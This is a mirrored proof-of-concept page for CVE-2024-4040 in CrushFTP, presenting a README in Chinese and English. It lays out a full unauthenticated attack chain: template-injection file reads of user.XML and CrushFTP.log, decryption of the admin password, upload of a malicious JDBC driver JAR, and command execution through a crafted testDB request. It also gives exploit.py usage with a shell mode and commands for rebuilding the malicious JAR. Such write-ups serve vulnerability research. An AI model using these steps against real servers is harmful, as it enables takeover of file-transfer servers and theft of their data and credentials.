Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-4040 PoC — Unauthenticated arbitrary file read and remote code execution in CrushFTP

Source
Associated Vulnerability
Title:Unauthenticated arbitrary file read and remote code execution in CrushFTP (CVE-2024-4040)
Description:A server side template injection vulnerability in CrushFTP in all versions before 10.7.1 and 11.1.0 on all platforms allows unauthenticated remote attackers to read files from the filesystem outside of the VFS Sandbox, bypass authentication to gain administrative access, and perform remote code execution on the server.
Description
CVE-2024-4040 PoC
Readme
# CVE-2024-4040

## 前言

* 最近看到這個漏洞覺得還挺有趣,拜讀了以下文章並且稍微寫了一下 exploit
    * https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/
    * https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP%E5%90%8E%E5%88%A9%E7%94%A8%E6%8F%90%E6%9D%83%E5%88%86%E6%9E%90-CVE-2024-4040/

## 靶機

* 使用的是別人的 docker,詳細請參考作者的 GitHub
    * https://github.com/MarkusMcNugen/docker-CrushFTP
```
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volumn>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest
```

## 攻擊流程

### 取得密碼

* 透過 `exploit.py` 以及 `decrypt.java` 取得密碼並且解密,至於原因簡單來說 key 是寫死的,所以可以解開加上可以任意讀檔
* 這邊要注意,如果 default admin 也就是 `crushadmin` 不存在的話,可以嘗試抓 `CrushFTP.log`,裡面有帳號資訊可以參考
    * `<INCLUDE>CrushFTP.log</INCLUDE>`
    * ![](images/log.png)

#### exploit.py

* ![](images/exploit_demo.png)
```
usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]

CVE-2024-4040

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The target URL
  -H HEADERS, --headers HEADERS
                        Headers
  --account ACCOUNT     The target account
  --shell
  --jar-path JAR_PATH   Jar file path
```
* 邏輯上是先檢查目標有沒有漏洞,用的是四個預設會存在的帳號並且嘗試取得 `user.XML` 檔案
* 確定有漏洞之後會去取得使用者指定的帳號,如果沒有的話預設會帶入 `crushadmin` 這個預設存在的 admin account
* 取得到密碼之後會用 `decrypt.java` 去解開密碼
* `--shell` 功能是方便看 RCE 過後的結果,透過下面的方式上傳 jar 檔案之後可以指定 `--jar-path` 以及 `--headers` 就可以看到執行命令的結果
    * 要注意的是 `--headers` 中一定要給登入後的 Cookie,例如 `--headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"`
    * `--jar-path` 預設會是 `/tmp/mysql_cmd_db_user_final_with_echo_base64.jar` 如果是不一樣的位置記得要指定路徑,理論上相對路徑也可以但建議使用絕對路徑
    * 要退出打 `exit` 就可以退出了
    * 範例指令 `python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"`
* ![](images/command.png)

### 登入調整映射以及權限

* 登入後訪問 admin
    * ![](images/admin.png)
* 找到 `User Manager` 之後點擊左邊的使用者,可以拖曳自己想要映射的 folder 到 User's Stuff 那邊,最後調整權限,upload 一定要勾
    * ![](images/setting.png)

### 上傳惡意 jar 檔案

* 上傳惡意 jar 檔案,已經編好兩個,一個是 jdk 16 另外一個是 13 的,要看 server 吃的 java 版本是什麼
* 回到 files 點選 upload 之後上傳惡意 jar 檔案
    * ![](images/upload.png)

### RCE

* RCE 的原因簡單來說是有一個 `testDB` 的功能可以自己指定 jar file 以及 driver object,加上可以上傳,把這兩個串起來就可以 RCE 了
```
command=testDB&db_driver_file=<path_to_eviil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
```
* ![](images/result.png)
    * 圖片中的指令為 `id`
    * 在參數 `db_user` 傳入 base64 encode 過後的 command 就可以執行了
* 我個人所改的 mysql connector 是 5.0.4 版本的
* 如果編譯好的兩個版本都不能用的話,我有提供我修改過後的版本,可以依照下面的指令重新編譯
    * `mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar`
    * `cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java`
    * `javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java`
    * `jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *`

# CVE-2024-4040

## Introduction

* Recently, I came across this vulnerability and found it quite interesting. I read the following articles and wrote a brief exploit.
    * https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/
    * https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP-Post-Exploitation-Privilege-Escalation-Analysis-CVE-2024-4040/

## Target Machine

* I used someone else's docker. For details, please refer to the author's GitHub.
    * https://github.com/MarkusMcNugen/docker-CrushFTP
```
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp
```

## Attack Process

### Obtaining Password

* Use `exploit.py` and `decrypt.java` to obtain and decrypt the password. The key is hardcoded, so you can decrypt it and read arbitrary files.
* Note that if the default admin, `crushadmin`, does not exist, you can try grabbing `CrushFTP.log` for account information.
    * `<INCLUDE>CrushFTP.log</INCLUDE>`
    * ![](images/log.png)

#### exploit.py

* ![](images/exploit_demo.png)
```
usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]

CVE-2024-4040

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The target URL
  -H HEADERS, --headers HEADERS
                        Headers
  --account ACCOUNT     The target account
  --shell
  --jar-path JAR_PATH   Jar file path
```
* The logic first checks if the target is vulnerable using four default accounts and attempts to retrieve the `user.XML` file.
* If the target is confirmed to be vulnerable, it retrieves the user-specified account; if not provided, it defaults to the `crushadmin` admin account.
* After obtaining the password, it uses `decrypt.java` to decrypt the password.
* `--shell` feature is used to conveniently view the results after Remote Code Execution (RCE). After uploading the JAR file using the following method, specify `--jar-path` and `--headers` to see the execution command's result:
    * Note that `--headers` must include the logged-in Cookie, for example, `--headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"`
    * `--jar-path` defaults to `/tmp/mysql_cmd_db_user_final_with_echo_base64.jar`. If it's in a different location, ensure to specify the path. Relative paths theoretically work but absolute paths are recommended.
    * To exit, type `exit`.
    * Example command: `python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"`
* ![](images/command.png)

### Login to Adjust Mapping and Permissions

* Login and visit the admin panel.
    * ![](images/admin.png)
* After finding `User Manager`, click on the user on the left, drag the folder you want to map to User's Stuff, and finally adjust permissions. Ensure that upload is checked.
    * ![](images/setting.png)

### Upload Malicious JAR File

* Upload the malicious JAR file. I have prepared two versions, one for JDK 16 and another for JDK 13, depending on the server's Java version.
* Go back to the files section, click upload, and upload the malicious JAR file.
    * ![](images/upload.png)

### RCE

* The reason for RCE is that there is a `testDB` function where you can specify the JAR file and driver object, and you can upload, combining these to achieve RCE.
```
command=testDB&db_driver_file=<path_to_evil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
```
* ![](images/result.png)
    * The command in the image is `id`.
    * Pass the base64 encoded command in the `db_user` parameter to execute it.
* I personally modified the MySQL connector version 5.0.4.
* If the two compiled versions don't work, I provide my modified version, which can be recompiled with the following commands:
    * `mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar`
    * `cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java`
    * `javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java`
    * `jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *`
File Snapshot

[4.0K] /data/pocs/dd2b63e1c2b9114ca1901f3ef246a54de73bb32e ├── [4.9K] decrypt.class ├── [4.7K] decrypt.java ├── [6.2K] exploit.py ├── [4.0K] images │   ├── [163K] admin.png │   ├── [1.0M] command.png │   ├── [342K] exploit_demo.png │   ├── [458K] log.png │   ├── [473K] result.png │   ├── [591K] setting.png │   ├── [286K] upload.png │   └── [596K] user_manager.png ├── [490K] mysql_1.7.jar ├── [488K] mysql_cmd_db_user_final_with_echo_base64.jar ├── [490K] mysql_cmd_db_user_final_with_echo_base64_ver_13.jar ├── [484K] mysql-connector-java-5.0.4.jar ├── [ 13K] NonRegisteringDriver.java └── [8.5K] README.md 1 directory, 17 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →